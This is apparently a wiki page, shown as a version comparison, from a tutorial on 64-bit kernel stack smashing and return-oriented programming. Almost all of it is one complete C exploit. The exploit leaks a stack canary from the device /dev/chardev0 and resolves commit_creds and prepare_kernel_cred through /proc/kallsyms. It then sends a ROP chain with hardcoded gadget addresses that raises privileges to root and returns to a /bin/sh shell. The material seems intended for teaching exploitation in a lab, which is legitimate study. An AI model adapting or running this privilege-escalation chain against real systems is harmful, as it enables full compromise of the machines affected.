Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

03.Stack smashing(64bit) & ROP

Set environment

Proof of concept

Return Oriented Programming

...

Code Block
languagecpp
titleexploitrop.c
//gcc -masm=intel -static -o rop exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 64

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
size_t commit_creds, prepare_kernel_cred;

void getShell(void)
{
	execl("/bin/sh","sh",NULL);
}

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}
unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	stream = fopen("/proc/kallsyms","r");
	if(stream < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	char buf[0x30] = {0};
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str)){
		    char hex[20] = {0};
		    strncpy(hex, addr, 16);
		    if(strcmp(str,"prepare_kernel_cred") == 0){
			sscanf(hex, "%lx", &prepare_kernel_cred);
			return 1;
		    }else if(strcmp(str,"commit_creds") == 0){
		        sscanf(hex, "%lx", &commit_creds);
			return 1;
		    }
		}
	}

	return 0;
}
int main()
{
    static char buf[512];
    size_t rop[512] = {0};
    char val[8];
    int fd,i,j;
 
    if(kallsym_getaddr("commit_creds") == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    if(kallsym_getaddr("prepare_kernel_cred") == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred);
    printf("commit_creds addr: %p\n", (void*)commit_creds);

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);

    backup_rv();

    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;	//pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;  // Call prepare_kernel_cred
    rop[15] = 0xffffffff8112d952;	//pop rdx ; ret  ; 
    rop[16] = commit_creds;			
    rop[17] = 0xffffffff817e9e92;	//mov rdi, rax ; call rdx(commit_creds) ;
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;	//swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;	//iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;

    write(fd, rop, 8*27);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

References

Panel